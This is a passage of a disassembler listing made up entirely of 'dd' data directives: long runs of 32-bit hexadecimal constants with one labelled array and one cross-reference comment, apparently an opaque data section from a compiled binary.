dd 57BE40EBh, 51F7BF05h, 0D1BC37A8h, 3863D04Fh, 715C7514h
dd 76E50931h, 0BEFE41B6h, 4E0E32F4h, 5EF8BC01h, 0D01259E8h
dd 0D023FAE3h, 0B80F8E9Ah, 5C580C4Ch, 2B0C59F1h, 4D5B6312h
dd 74A60D01h, 842E050Dh, 0D7CFEA4Dh, 0A9F7E916h, 54B1024Eh
dd 5D3AC980h, 164F5C43h, 0FDB72DBFh, 73F32D0h, 9B5515Ah
dd 0B5EF713h, 6D67E8D2h, 0F892007Fh, 951E754Dh, 0A11729DEh
dd 0D12A08F1h, 5C9B496h, 17A6E2ABh, 37E70C30h, 46BBBF02h
dd 55F87193h, 324A0E1Fh, 3E1D96Fh, 1CC82F52h, 9160DBCAh
dd 9848E161h, 0A3DE28B2h, 0BB526525h, 4DA2D995h, 0EAF5D138h
dd 2DBF1735h, 0D9EC3F3Dh, 0AAC8B6C5h, 4A7B29CEh, 844EF3C2h
dd 5E0E851Fh, 0B243D6C5h, 35FC5AC8h, 0B540F8F5h, 3940F68Dh
dd 12EB5123h, 0A076E970h, 51B55C6Ah, 9BB6AEDh, 8544100Eh
dd 6891591Eh, 1B09CFFAh, 0DB2ED74Fh, 9E77E563h, 92B6F48Fh
dd 47555CC3h, 0E95002F3h, 3374B340h, 586A062h, 0D831EC56h
dd 1358D76h, 0D7B8333Dh, 3F3ED8DAh, 0FAEC5816h, 1888610h
dd 2D3483B0h, 0D3EDC608h, 0B94A9968h, 0C056B26Ah, 810AEBD2h
dd 38CE2266h, 0FE5C409Ch, 3EF64851h, 2AE868C2h, 0FA82DE51h
dd 0D6770704h, 0F2810008h, 1CDD7C03h, 1E34BAC0h, 724974A7h
dd 0EE1FE41h, 2EF55CBAh, 6E63E9CEh, 0F1E027FCh, 0D90FA13Bh
dd 0A5CA018Eh, 8CAAD52Bh, 0A6416079h, 4B0EA640h, 0DBEDF3F2h
dd 57484B28h, 0CCFEDE0Eh, 0CA0E725Dh, 45FD0EDDh, 0E3045BFDh
dd 96D1FB19h, 0AB7602D4h, 0B5E3EE35h, 4F1C3870h, 3EA943ECh
dd 0F6857C0h, 10B60911h, 4D507DE9h, 7949C7F4h, 704B2F5Fh
dd 0A6719D24h, 660109A8h, 0E93DC3BDh, 0C78E0313h, 0EF6487F1h
dd 9CE5FBF5h, 317CF4ECh, 0D2C6E708h, 0A4EB5005h, 1725FB28h
dd 5AA8D65Dh, 975964FDh, 9569D4ECh, 19840057h, 0F743445Ah
dd 1781CAD1h, 0AE3011EFh, 8161ED78h, 15DCBD6Dh, 122F09D7h
dd 0E2B2C0EBh, 0EA2F4919h, 0E5120146h, 62A51765h, 0CFDD9B42h
dd 190B45Bh, 6E9D7D2h, 0B1FD2BE5h, 0F150C107h, 0E479FB22h
dd 381D7ADh, 243FE9DDh, 0D3955B0Fh, 75E30028h, 0C1108C77h
dd 3201EB4Ah, 6324537Ch
dd 350EE240h, 0FA1E5AD0h, 86EAC964h, 0E91A3001h, 605CE45Fh
dd 0B72377FFh, 48B50D18h, 601BD425h, 2635D1C4h, 2E73AF9h
dd 71734D9Dh, 0AF148084h, 0BD21B234h, 9D50C6D2h, 3068B5EDh
dd 0DE0C05D0h, 3358BC75h, 28CD030Bh, 170F9D65h, 13235A1Ah
dd 0FE20EF9Dh, 40F704E7h, 64129E0Ah, 20081C1Bh, 3F68008Ch
dd 5E7D5A35h, 0F6814E03h, 0E07E696Ah, 37E9F189h, 9729FF72h
dd 0EE550B61h, 84E91350h, 19E0901Fh, 975C78EEh, 984720CCh
dd 254CF499h, 717E2A36h, 0D33A80B9h, 0D629F9C7h, 0A8DAA05Ah
dd 4E2809B1h, 87E25BE9h, 80CB0C56h, 0B5310AD3h, 15569D74h
dd 0E9040CC8h, 46E85D93h, 0BAA883C5h, 4065617Ch, 51775FD9h
dd 0C200E64Ah, 2D4EA0BAh, 0BF5A950Ah, 0F78270Fh, 2094125h
dd 0F8F55556h, 95078FF2h, 0FC1E4111h, 797E40CFh, 0D4F88B5Ah
dd 40B00CF6h, 60DA9B45h, 2F7F5575h, 0ABC843A4h, 98CAF3D5h
dd 9C09CD29h, 88A0592Fh, 0E830F82Dh, 98FA475Eh, 2CCD099Eh
dd 0C4050833h, 5584926Fh, 0E61A6955h, 0F274C42Ah, 80D2072Dh
dd 0C30746EBh, 0E9445D5Eh, 0C2B5BB0Bh, 2723B83Bh, 6F0CFCAFh
dd 0E31E2204h, 8DED1094h, 0E1072058h, 30833C50h, 8230AFB8h
dd 0E4357702h, 0C3419C7Eh, 5040348h, 0F47516Bh, 944A36F0h
dd 4F9DCDA0h, 0EE2FB280h, 6ED941E0h, 0D1753D01h, 0D13AAE4Ch
dd 3AF24153h, 0BD4A6BF3h, 0BCEF1ABEh, 58A8FC1h, 0C6B93B78h
dd 0C535FBDEh, 99D2EE3Ch, 9E1655EFh, 72C2096h, 540E3A2Fh
dd 54DA96Ah, 0EEF187E9h, 4EFA9C8Ch, 20A0CDB5h, 0D6B8C6DCh
dd 0A158552Eh, 0A60FF358h, 555479AAh, 8E2FF273h, 5A680BCFh
dd 0D2533043h, 0BDACBFECh, 24B22909h, 247FF9Eh, 0B2250F6h
dd 70E97C32h, 0E34B6172h, 70B67DFEh, 39380621h, 1E688928h
dd 7013B073h, 12DF7B57h, 0BC0A3BE9h, 0BCC9D29Eh, 0E56148EEh
dd 514B1ECh, 0FCB52367h, 378058Ah, 0C8BF3A5Fh, 8F1E99CAh
dd 0F35360ACh, 754C400Ch, 0B66813E7h, 5938FF4Fh, 84EE95C7h
dd 692C6814h, 5E54C499h, 6882FBF2h, 0E902306Fh, 0B5C3D0B4h
dd 0C595EAD2h, 0B147890Bh, 0EC6BB966h, 37055F35h, 7B9132Eh
dd 0FF497B5Ah, 0BE16180Eh, 0D021B7CDh, 0DE690165h, 592FE45Eh
dd 69339Fh, 838D680Ch, 50E91D35h, 77E3FE4Eh, 539D005Eh
dd 930538BBh, 2CE46150h, 0D0EF753Dh, 653818F0h, 0F7E99F0Eh
dd 0D0F62FA0h, 9F9F8ED4h, 0D25FE4A7h, 0BD05FA7Dh, 0DFA4F427h
dd 0BB291D70h, 4B03BE74h, 1669E64h, 8821CE6h, 0A0CE655Fh
dd 6DF09D1Ch, 2B279884h, 6478D6A8h, 0A698AFD6h, 0B025922Bh
dd 8749B599h, 0B7A96E14h, 3A02E9F1h, 0A3BEC884h, 0D9AF964Ah
dd 0A7CD3A37h, 0CB27E27Eh, 0F73AE0C1h, 0BD974BD7h, 95D314CAh
dd 6F5F81E9h, 713079F8h, 0FD050748h, 69DC0488h, 4CF0F00Fh
dd 44E3097Fh, 0FD382FBh, 0F6C57FECh, 4081B42Fh, 0FE13E933h
dd 3DAF0102h, 1FEC6FBDh, 0C2D9B4E1h, 0B03F35Fh, 99765BDDh
dd 8EE79B8Dh, 533B076Fh, 0BA664FB3h, 38C016E6h, 1FF53E70h
dd 0E3DA4889h, 9C5BDF4Ch, 0DB4ED7D5h, 907B77B5h, 266853B9h
dd 0BD50989Fh, 0D41F0396h, 0E87FE97Eh, 0D13327Ah, 8005C36Bh
dd 75F46E4Dh, 4E1F0B5Dh, 18896842h, 0D0A93A30h, 0E90AC204h
dd 18F4674Ch, 58787349h, 5F2DD971h, 0A5D186FEh, 65BF8145h
dd 66CCBFDDh, 97F14CF7h, 0F672EB1Dh, 6F709A75h, 72E374B5h
dd 0F7209150h, 0D1C15CD4h, 59F18102h, 0C4828707h, 80013034h
dd 0FEC078C7h, 9A5B4866h, 2CB753B0h, 254EE913h, 0F300CDBDh
dd 4A231DE7h, 0BCA0D3F7h, 50B5359Ch, 5BD82466h, 195AC525h
dd 6BFE70ECh, 4A1E50CCh, 33BB235Dh, 0ADAB172Ah, 0A4E5CD95h
dd 0D97B0806h, 68516601h, 0A6571225h, 9CFC1504h, 0D8F2FC93h
dd 0A0D1A136h, 0B8475FF1h, 978A945Bh, 0B19AFC29h, 0BC3BFB89h
dd 91C8E49Ah, 53DBB65Bh, 0B54A6A24h, 39076893h, 0CA34B5Ah
dd 0C1CD03B3h, 8A53D01h, 46BF31B0h, 182EBC25h, 99D613Fh
dd 0C10AE9C3h, 1E366875h, 5C789757h, 21709C0Bh, 0BF2270A6h
dd 995F1B0Bh, 923A19DCh, 0F962D6FFh, 0F5FDA075h, 50F05762h
dd 1F2DAF4Fh, 0F219E63h, 0AE44B9E5h, 96F4EB5Dh, 442FF551h
dd 0BDEA8124h, 7E044B33h, 8003EFC0h, 0C08496C2h, 59EE28D7h
dd 0CCCEFE28h, 0E916B105h, 8547858Ch, 20F54D69h, 83B4EEF8h
dd 0A09CF43h, 5EBD68ACh, 0B4506030h, 0DC17F64Bh, 485D5AE9h
dd 0FAC07D49h, 29020FD5h, 7E690B27h, 0A1BFBA60h, 2BF76C78h
dd 5F7FA00h, 0F44D83C5h, 5E8F6BE3h, 20DE96E9h, 912C706h
dd 35013645h, 19600848h, 249DEED8h, 8EEF778h, 5A1E4167h
dd 0B000D013h, 0B405A92Dh, 1F250023h, 0E929D376h, 0BFD01C07h
dd 84BF15E1h, 50F103FBh, 0B745283Dh, 0BDE7AEC0h, 3C929EA0h
dd 2816F019h, 60FBE55Dh, 1410BB9Ah, 0B44E4857h, 6EEBE9BFh
dd 2BCA5513h, 0EF42277Eh, 0E8579299h, 6AE1DBD9h, 0EAA3AABDh
dd 742768C9h, 5725E96Ah, 0F3F41921h, 522C097Bh, 0B5408B59h
dd 66E95021h, 0CE297B14h, 0BC60505h, 3B8108E0h, 0E36FD9EDh
dd 0C6889F57h, 22581381h, 9D44310Ch, 0F711160Bh, 0D3095713h
dd 0B77DE6FFh, 0AB647A74h, 0B8B9F7F0h, 27C73DDCh, 0A9336518h
dd 295A59CDh, 0BB204499h, 73A5B57Eh, 4C43AC7Dh, 7C5624A7h
dd 4D598202h, 8695C11Ch, 0A3560DA7h, 12EE3116h, 0BAC8B74h
dd 200571E9h, 78AEF646h, 0C793480Ah, 4E27A84Bh, 8CD61EE3h
dd 46404924h, 0EF31295Dh, 2C7D265Ah, 0DF2942D8h, 0D2B8E275h
dd 69D2C86Bh, 0A005AD07h, 5639A461h, 1D7BDF1h, 5EA9C369h
dd 8055524Dh, 0E40BDBE6h, 29EBD5Ch, 0E99A391Ch, 0A6A9876Bh
dd 2F2DCF91h, 0B7F43497h, 0B865C5AFh, 3B6B0E2h, 454EE9h
dd 1E5E052Ah, 5E98092Bh, 282AED01h, 9E35E92Fh, 0B4312096h
dd 1D3168C4h, 4769FF27h, 8A6A8C3Ah, 9028BE40h, 6ADEF46h
dd 0DF203AFFh, 2C38ED94h, 4B8B4C3Fh, 0F602C5BCh, 4ACA80D2h
dd 488463FFh, 0FF05A5E5h, 0BA1A8E59h, 0BD4E77B2h, 5C871C5Eh
dd 2A89029Fh, 82A55149h, 7F71DA8h, 80EC658h, 0D28A3D84h
dd 6CF108E5h, 0FB5B0C48h, 0FC7C2AADh, 27C11F22h, 393622DCh
dd 3D5E0840h, 13C10F2h, 38E91774h, 585AE280h, 0F4D990C1h
dd 0FFCE38D2h, 0B7F1ECCFh, 0DB43B1F2h, 29FC0E98h, 0ECDAEE13h
dd 0CA05E90Ch, 48972D54h, 54E76869h, 9285CF10h, 0FD291664h
dd 0A5C8A85Fh, 8311F3BEh, 27887E9h, 2817B80Ah, 85D7116Ch
dd 59F1C47Dh
dword_4F0044 dd 0E420ED3Eh, 1A90FAB0h, 7B15377Eh, 0EC9F6375h, 0A6D236B9h
; DATA XREF: ___:004380ECo
dd 0C3957CB6h, 5AB82B4Bh, 21448E0Eh, 33D8FB13h, 2D112568h
dd 468BD49Ah, 20B71A41h, 7C50BF85h, 36184874h, 670C0AEFh
dd 2CF57B44h, 2558EAD1h, 895FC181h, 3BDB71F7h, 6855B800h
dd 0FBA746B0h, 992CB73Dh, 0D0318930h, 0E45FD7B2h, 5BE9165Ch
dd 0DCCE2046h, 5E274216h, 78DF80D1h, 791CB00Bh, 93098F7h
dd 1270FFFBh, 523B8557h, 5D8725D2h, 17A69B23h, 0AED471CAh
dd 0A7CF4980h, 0B0E901A5h, 8DC84C43h, 0E1DCB72Ah, 94E7E648h
dd 9C752DFCh, 0E9A94FCh, 17102AE0h, 0B1BC5EE8h, 20F68BC5h
dd 0B498A9D4h, 0CD2D7E7Bh, 945F35Fh, 0AD676B37h, 0CA27FEA0h
dd 2062948Eh, 315A1179h, 216328FBh, 4F32F94Ah, 8FF8905Fh
dd 8446B556h, 6684E916h, 0B7806AA3h, 0B5FE943h, 42A51D91h
dd 0AA995F16h, 584E2406h, 0DFF68005h, 0C3EEF030h, 0C3C90FDCh
dd 0E3AE9799h, 4581F881h, 3C5FC38Ch, 0BC7F0B0Bh, 0F2C3BFFh
dd 0B1ABC766h, 0EFF6F71Bh, 87C8171Ch, 596680A3h, 1E654868h
dd 0EBE8EF4Dh, 312CAF4Fh, 61938114h, 8424385Fh, 1139FA4h
dd 0F167583Dh, 0E00B6E12h, 0F24E01BAh, 74202924h, 5603400Dh
dd 0CF7D769Fh, 470996C6h, 8A5A90ECh, 2F689088h, 16DB0BF7h
dd 0E89ECC49h, 0DFF734FBh, 1C60D008h, 170E5E38h, 8930C981h
dd 4F7360CEh, 7B5248AFh, 2FD7D11Ch, 0E24B2A69h, 0D21300DFh
dd 263A2E61h, 1C4EDC1h, 4F3ECCE5h, 85C62E57h, 0F54CC006h
dd 437AFE6h, 96EB3125h, 0C980B712h, 0CE2966EFh, 0B694414Fh
dd 325E080Bh, 808EFE4Ch, 3B9BD0EEh, 449F2183h, 0B8BB160h
dd 0B075FD2Bh, 0B50914A5h, 1BB3936Eh, 14ABB108h, 0C52CE351h
dd 9222E406h, 5DE45BFEh, 44B9FA1h, 0FAA3C3FAh, 0FE84F298h
dd 68806AF9h, 92EA30AEh, 22422D23h, 0E892F6D1h, 1D1E308h
dd 0FB02B4BDh, 0F01C3173h, 0ABBFF29Ch, 0B3007D37h, 1F8C07EEh
dd 94E68101h, 466E3605h, 0D6287E21h, 92CFB75Eh, 33B22DFAh
dd 0AC55106Ah, 20100848h, 0ADBB0001h, 814D3951h, 49330CEBh
dd 4C0C2348h, 0EF86FC17h, 0F65E9F44h, 6632B900h, 87B72B99h
dd 0FBE248C5h, 0CEFE4870h, 0D3611794h, 4EEA0121h, 7C17872Fh
dd 50A4015Dh, 0C7E98F62h, 0CC5C8995h, 94DA95C5h, 0C0A5043Dh
dd 4736C1EBh, 0C3CC6C17h, 0E1DEF6F9h, 95333169h, 1D13B01Fh
dd 0CB942D8h, 0C960FEBDh, 46B58A6Ch, 0C6E32033h, 8B6774B5h
dd 9855B9F0h, 0BAC1510Ch, 37139805h, 0A20A68D7h, 0F1010CDBh
dd 1FCC87Ah, 4EE977CDh, 0E9CC508Bh, 0F4D9E316h, 6D3D406Ah
dd 6AD2CBFEh, 0A769F1DFh, 0E9FE30DDh, 68EA9F14h, 0B450C580h
dd 0E1012830h, 535B6658h, 0F3F8DBB3h, 7E8B9821h, 9381976Dh
dd 7A010E8Ch, 80CD2EB3h, 3EA73BE1h, 6F37C349h, 0C35F05A0h
dd 0FB1FED58h, 639832FFh, 16E2D13Bh, 0BF672168h, 4BC0F563h
dd 0CEF0B0BDh, 0FBD6D09h, 3F31F558h, 1357C25h, 6107055Ah
dd 74202237h, 200E138Eh, 0DC93AA3Bh, 73BFE826h, 16D664F7h
dd 0A7440002h, 1291DE3h, 7E055EF0h, 6F6BE706h, 7C07C710h
dd 0FD58310Fh, 1933543Eh, 93D6575Bh, 0A8D3B99Ch, 575A5E99h
dd 0A2EFE86Eh, 7E46150h, 0C2605102h, 0AA94C84Fh, 805BDC01h
dd 0F06B2CE4h, 3028F6F3h, 0B05EDCF4h, 0BEB49BE2h, 72E9DD21h
dd 0BF35092Fh, 298F6C54h, 7F0F84F8h, 0D1290916h, 76BEE9FDh
dd 0E01BCD6Ah, 0E0BE32B3h, 0E3961582h, 9EDED44Ch, 0DB39C5C7h
dd 650FF6Eh, 31677F08h, 5B85E66h, 0A2646268h, 2BEB4FF0h
dd 0F11B50F4h, 0FFEBD4B6h, 0D4663905h, 129AECBh, 0B816902Dh
dd 0C1A2AC4Ch, 2D765CC8h, 0D054F23Ah, 29807BAEh, 92B790D6h
dd 8E75BB42h, 0AA04E45h, 2F9E2D58h, 8297427Ah, 0E72482A4h
dd 35B3894Bh, 0EA6FF84h, 0C256CB4Fh, 1DD37D0Ch, 0F5B7DF0Bh
dd 9729DEB1h, 89F1CA5Ch, 7313B03Bh, 7ECE490Dh, 7160D901h
dd 4E9A8358h, 461A05F5h, 0BA3631A0h, 495A76F7h, 6803ACDBh
dd 7F836B86h, 3E2C1D8h, 0BEDAF724h, 6EA823Bh, 0F6196E68h
dd 0BE0864A0h, 7EDFC12h, 0A9496886h, 1BA99882h, 0CAEFBCD5h
dd 648D2290h, 9F2CFB51h, 684D0330h, 6AD2E971h, 10C74B03h
dd 7F741Eh, 0D001570Ch, 0ADE95E68h, 0A427AA4Fh, 64E1DA84h
dd 0F476A87Bh, 9CFC1B9Ch, 0FCFC2521h, 18905D7Ah, 66A46540h
dd 1B9F6020h, 2CF65066h, 0D0AB58ABh, 0ABD099F7h, 0C952D6B7h
dd 1796775h, 0F8E9FB29h, 0FBF67AC5h, 70C3F310h, 0C780CF00h
dd 0FE8859F5h, 0D2539F5Bh, 2C31B502h, 0BBE05577h, 0F7827AA6h
dd 4B4B118Eh, 0C6A7640Eh, 91AEF3E2h, 0B9E2BF85h, 926CE47Ah
dd 3F3D0A0Eh, 1A02E44h, 676F79CAh, 2F9B2C6Ah, 505C04EDh
dd 978DAEEh, 0EC54555Ch, 4B05ECEAh, 0C1AB9201h, 598259D4h
dd 0E9534C08h, 812F45EBh, 55733A0h, 6E7A0D80h, 554700D0h
dd 7BC76851h, 59123F37h, 0AEA197E9h, 0E28EE82Eh, 575C69DFh
dd 0BEC017Eh, 3114721Fh, 5009FE2Ah, 0DA5B0BEEh, 7E2F7D7h
dd 0FE3DC440h, 6248A982h, 9F44F7C2h, 63B0799Fh, 0B303F51Bh
dd 6073D4CFh, 0A45C062Bh, 183E5825h, 0DE728E09h, 0A9FC8231h
dd 47FC0922h, 593FA210h, 875FFA07h, 8322B2CAh, 0C3647D54h
dd 797CF3EFh, 5CA9DD5Eh, 7B5C9F99h, 8F09C8D5h, 0E695CC4Fh
dd 0AEB880EFh, 133251Fh, 3158C784h, 0AF953EBh, 9D3667Dh
dd 54E63D39h, 18DD5B97h, 4EB526D8h, 51E8283Bh, 6AF4FDC9h
dd 2E874FB4h, 135C31D9h, 6EC3A18Eh, 52681B98h, 34C4F11h
dd 74A45231h, 75217FF5h, 0F76E87CAh, 0BE9169F3h, 0D15C561Dh
dd 2D4A6809h, 18678DFCh, 0E36EA518h, 0A757D69Fh, 2D7A14F5h
dd 38187BDAh, 2C2C5FD9h, 41008F3Dh, 0E917507Ah, 0B5F25E5Dh
dd 0F804BCF2h, 0B0CC874Bh, 5A5CD4FEh, 1317341Ch, 0BF5D0AC3h
dd 1612BC64h, 60CBBFDBh, 14E5E7Eh, 0C36858B8h, 9D302A3Dh
dd 0E00F7Ch, 0F5CD8119h, 0E952C076h, 2642EA30h, 7B951ADh
dd 56113346h, 0D569D541h, 0B36282BFh, 0BB382278h, 3A0EB14Fh
dd 0A67EEA4Ah, 3C1D1572h, 16AB0788h, 3E2C5C5Dh, 95B9B205h
dd 0F1517576h, 3B0E8801h, 0E9825FB6h, 0EBC9CAABh, 84B523F2h
dd 89EFF7DDh, 872D2026h, 3180859Ch, 0BF7D121Bh, 4D6A055Ah
dd 0FC0EE944h, 0E14A5C47h, 0A357E65Bh, 18DF2563h, 6F3B53D5h
dd 7C82BC64h, 0E5B8014Fh, 6B3FEA3Dh, 67C402E0h, 72568DF3h
dd 0A9D41FFBh, 0D032D053h, 8F21B67Dh, 56224842h, 8A0F7C29h
dd 0E9410C44h, 896F9BAAh, 0E02AE03Ch, 0F00979Ah, 0BF60277Ah
dd 2595E4B1h, 9047010Eh, 4C312424h, 302B7994h, 907B3D88h
dd 6981819Dh, 0E02B6711h, 161630B5h, 62E571D4h, 635D0802h
dd 0A4EE9547h, 922A68F0h, 51142A63h, 3EF5595Ah, 68E70408h
dd 250BF221h, 2B27ACFFh, 5AE1F455h, 4B65A4BDh, 7F3584Eh
dd 0FA5E1F95h, 0C831F621h, 0E9087A28h, 6805EC85h, 53D828CBh
dd 550640F3h, 441E2BFCh, 29F96EE5h, 1508136Dh, 0A291398h
dd 96FB72B4h, 0FB0BAA86h, 5AE52552h, 0EEA80912h, 0B1BDDCA4h
dd 0CC302213h, 88538203h, 42DD92E3h, 1C495C2Eh, 0D60F40BAh
dd 0CCE28149h, 66E73716h, 2ADAE01h, 9F404B7Fh, 2091D4C4h
dd 6AE729FDh, 406B7C99h, 0B7F3F86Ah, 56B0316Ch, 0CC742D01h
dd 0C121F9D6h, 0A85A1067h, 0D45027CBh, 0CE11F20Ch, 9A5DD668h
dd 0AFE5D71Eh, 0DCB85080h, 9F751220h, 611875F8h, 0B5D6438Dh
dd 5E562522h, 711C4D7Ch
dd 642DA060h, 4BD60B66h, 0C974CA01h, 38EE6E04h, 4B8BE2A0h
dd 5F36318Ch, 0BD173BB2h, 126214AEh, 0B8D7FF5Dh, 56317ECAh
dd 0EDE71D16h, 5009DC8Bh, 0BEE05D04h, 5AF01620h, 2505989Fh
dd 0D4F97EBAh, 3E2D3288h, 0A16F2800h, 0D7F28127h, 3E057B13h
dd 2DD9E208h, 830C0474h, 0E2C66FA5h, 265F254Bh, 899885Dh
dd 108C4E3Dh, 0E63838E9h, 867DFB4Eh, 74D0040h, 50096072h
dd 67DE0B5Dh, 0A3DE6ECh, 0F73D1745h, 0FB21DF0h, 89C552EAh
dd 26825E2Bh, 3C6C16B9h, 71FD0BCh, 1C3C7BE5h, 50672502h
dd 0CCE95C02h, 8B2DDC93h, 0FD30305Bh, 3C589668h, 0DB6BDBD6h
dd 4E39DE8h, 0B44AECD6h, 0F0BAE894h, 989A2328h, 70BE0D00h
dd 623507DCh, 3CDB04EDh, 0D9495D68h, 0E4F80233h, 32659E57h
dd 0E011C645h, 2D583BCCh, 4CEB1DE7h, 705F00Ah, 0F506C225h
dd 4577FECAh, 2277AF3Dh, 4B11598h, 0EC121B20h, 749DFB56h
dd 83ECE02Bh, 89C4E19h, 5FC22D62h, 0A0FC3316h, 0F00A3568h
dd 3218F502h, 521EE082h, 8FB68094h, 766295EEh, 44CDFE0Eh
dd 0FD1B205Dh, 0FCB5CF90h, 0C0D7E291h, 60C9030Bh, 5FAB7CFEh
dd 45F2D322h, 0A487AE95h, 4B1A4DB3h, 0AE57AF4Ch, 55688FE1h
dd 45BBB67Fh, 0CD48F005h, 0AA55850Bh, 94BF321h, 0FB8E7D86h
dd 99D5D349h, 0DD325DB1h, 0A50B482Fh, 0CB9DF9h, 0EE7EDF4Bh
dd 0F0D49D1Dh, 46BC4465h, 8DF8805Eh, 0A170B151h, 10D659EEh
dd 0E2CD42Ch, 62B7E92Eh, 0C467AE12h, 75E08FB2h, 13BD4A59h
dd 21FBD818h, 0C24B8419h, 68F0D97Dh, 56302E2h, 0BFC2109Dh
dd 20083788h, 0BF32F9Dh, 0E4C7B813h, 0DF290FA6h, 778FCBCBh
dd 74A299B0h, 67E398B7h, 0E811CBECh, 0EF583D56h, 251F1265h
dd 50D4A070h, 0F4910675h, 7BB55107h, 12E530B3h, 945729D0h
dd 14B4DA9Bh, 7CBE5357h, 1217097Eh, 0A6E926E9h, 0A438BF4Bh
dd 14B65Ch, 0E7C017B7h, 0FBE68005h, 0E164F7E6h, 0C2A971EAh
dd 0BF376D05h, 7E078079h, 454B9008h, 0E80F2B8h, 31AB5AA8h
dd 4F5CD774h, 0BDF5375Ah, 0DD4AE59Eh, 0DC0A7FD2h, 835025CEh
dd 96EA0127h, 4B6817E4h, 431A36Bh, 19E54E48h, 212F2A80h
dd 20417526h, 0F728761Ch, 5E3AE2D8h, 295C89BCh, 273C45F0h
dd 0A4B444D0h, 0DD59CDC2h, 6F12B747h, 0BD5AF8E0h, 0B7827C62h
dd 0AED64C03h, 0B8E97240h, 293B1B6h, 42A662ACh, 6EC4A6C0h
dd 5A79EF4Ch, 0FDC513EAh, 9883E714h, 0D3CD0047h, 5B5D5355h
dd 0FF51ED83h, 3A3941C0h, 60D2FD28h, 140C4671h, 6E4A2AE2h
dd 8B3F17E4h, 8018EA26h, 27BDF28Ch, 6E502801h, 0A1A656B5h
dd 0C389CBB7h, 0A8A8B5D3h, 2A253EE5h, 0D448C2F9h, 725E3C38h
dd 60221420h, 226801AEh, 78FF334Fh, 93638A24h, 227E2AC2h
dd 23D95B03h, 702BE962h, 5A5D7676h, 0AF601343h, 52658401h
dd 0EAD83FB2h, 1D12C03Eh, 99E9D128h, 99DFAB2h, 4BBAD9DFh
dd 4C8E0057h, 0B531376Ch, 0AB75EFA9h, 0CEA8043h, 9474015Fh
dd 7E0F61EFh, 0CC4A307Fh, 0B8286154h, 44425000h, 380E0D51h
dd 642760C8h, 48F526FFh, 0E14CE917h, 73955341h, 0DB407581h
dd 29C17FFCh, 1DC4255h, 6F33E0F2h, 94146B7Eh, 295E7FBAh
dd 255082E6h, 721D13B8h, 0FC7612EFh, 43FCA5ECh, 0A918B0B5h
dd 24AEE35Eh, 0B025AB6Ah, 0B3244BFEh, 2D2414FDh, 22C52CBAh
dd 52EB74ADh, 303B7A79h, 66F3F553h, 0E00D6042h, 512B7586h
dd 12FB80A0h, 58643424h, 0AD06C103h, 1782205h, 33324267h
dd 0E9610400h, 0B76EE3F8h, 2F02234Bh, 0C05D10B8h, 0BB75682h
dd 9BFDCEE5h, 762DC995h, 501EE536h, 0F3F9C954h, 0C1163D73h
dd 0ACF26246h, 9E1F00Ah, 50D1F704h, 76009AD5h, 9A266217h
dd 2418D20Ch, 16E5EEDFh, 5B9E85Bh, 22AB700Bh, 264980BEh
dd 2FBD7BF8h, 0AF9B20F2h, 2AE9B349h, 1B54451h, 0C58072B5h
dd 97D5F63Eh, 2309400Ah, 4F3FF6ADh, 0A9D69704h, 899A27D9h
dd 5000092Fh, 5A7C9E83h, 0ECF7EC6Ah, 48BF09AAh, 56005B1Ch
dd 0B43A1FCFh, 0D9E93209h, 9EA1512Eh, 80C7932Ch, 7B93686Dh
dd 16CABCA8h, 92BEDAB1h, 0FFE61235h, 0D9944170h, 60A32F5Fh
dd 0C3D1ACD6h, 159877E9h, 4371C069h, 6783878h, 0B16EFC5Bh
dd 358B7F61h, 283069CFh, 0D90D48A0h, 2591E947h, 0EF22842Ah
dd 4E7F0CF3h, 0AAF48474h, 0CD25D9A3h, 295E6980h, 83A15BDFh
dd 0E455020Ah, 751120F0h, 6EF85951h, 587F0522h, 0F1B80E8Fh
dd 310B6E15h, 7756D010h, 0E9E4DE0Ch, 7289275Ah, 20573CDAh
dd 839AFDCBh, 0F5BBEE5h, 6F88C50Ah, 0E5E872E6h, 0E01A60FDh
dd 325C0410h, 0F903257Fh, 745AB2E6h, 9D1714B8h, 0AFF7B4E2h
dd 50DA762Fh, 0D6372797h, 0FEDE32DFh, 0C8700C2Bh, 630BED33h
dd 5017443Dh, 976397Eh, 0BD1FE997h, 91D72449h, 4CEDB00Ch
dd 0DF68BFBDh, 0F2836C29h, 56A6A0DFh, 13746855h, 967B842h
dd 0D72FCCF8h, 46571765h, 0AB97C9Fh, 6229B802h, 75487B41h
dd 401755E8h, 0D713BE2Fh, 0AD0F180Bh, 7FABB197h, 979FEBB2h
dd 0F34CD036h, 0F8956042h, 3D32C9Ch, 45292F48h, 0D75AAB57h
dd 33A6836Dh, 70B3E958h, 0E76EE1D5h, 2EF87D02h, 5EF201E1h
dd 1740CB2Fh, 0A3EC649Eh, 0A723E2E7h, 7BC082A0h, 0FCC24B8Ch
dd 7F0FB0F2h, 977938Bh, 0AFD674h, 6F6C399Fh, 7C16412Dh
dd 41BF7A9Dh, 4462D79Dh, 52E44023h, 6425A719h, 0E9A35745h
dd 0C7EDB3F5h, 644529D2h, 5E980581h, 4078C867h, 60C0E90Ch
dd 4725091Ah, 3197651Ch, 2BDDFFCh, 0EEB640ADh, 0AD7C408h
dd 0C44EFC2Fh, 5D02F043h, 3BE1EA31h, 8FC3ABAh, 9309DE81h
dd 3FF4052h, 5B90D8F7h, 4EBDD54Eh, 0FF081912h, 0A63ADB29h
dd 6971174Fh, 4214C8Ah, 0D0305232h, 0EC014F81h, 0BB53B008h
dd 0E72B1F57h, 71EB017Bh, 3125A8B5h, 47007FC8h, 0EBE0652h
dd 3349043h, 95A5EF8h, 41D5F6E9h, 4C1E7BA3h, 6B04E966h
dd 27D9D314h, 0B4BD8042h, 25298439h, 89DF5AD3h, 1665555Bh
dd 0E50BBBA6h, 8BB9D7DFh, 48A77E54h, 36F916C4h, 20D98C2Eh
dd 0BF7F8148h, 79EA3D05h, 0E513D7F7h, 0E9E58E1h, 8A92BC87h
dd 3619D054h, 1958F418h, 6E3702F5h, 63E93921h, 4C7510E7h
dd 48B40A9h, 0F633D095h, 0CE069D39h, 84F2C35Ch, 3139215Bh
dd 27422EF9h, 0C55A2625h, 6D3268E8h, 0D8931F58h, 3DDBE1Fh
dd 7C47C13h, 5E489E1h, 3586E5BFh, 0AA046EA7h, 5E009A4Bh
dd 9706FC05h, 28B12B5Ah, 17F9E024h, 0F41E027Bh, 0D0F09019h
dd 0A5B524C9h, 91D95691h, 18CAAC2Ah, 0F843D5EBh, 5F5C042Bh
dd 0D2352305h, 2D66F88h, 0CDFA310Ch, 8682B55Fh, 5E116856h
dd 0B84EC678h, 3A80F419h, 2D1AC8EBh, 885D572Ah, 0A62108B2h
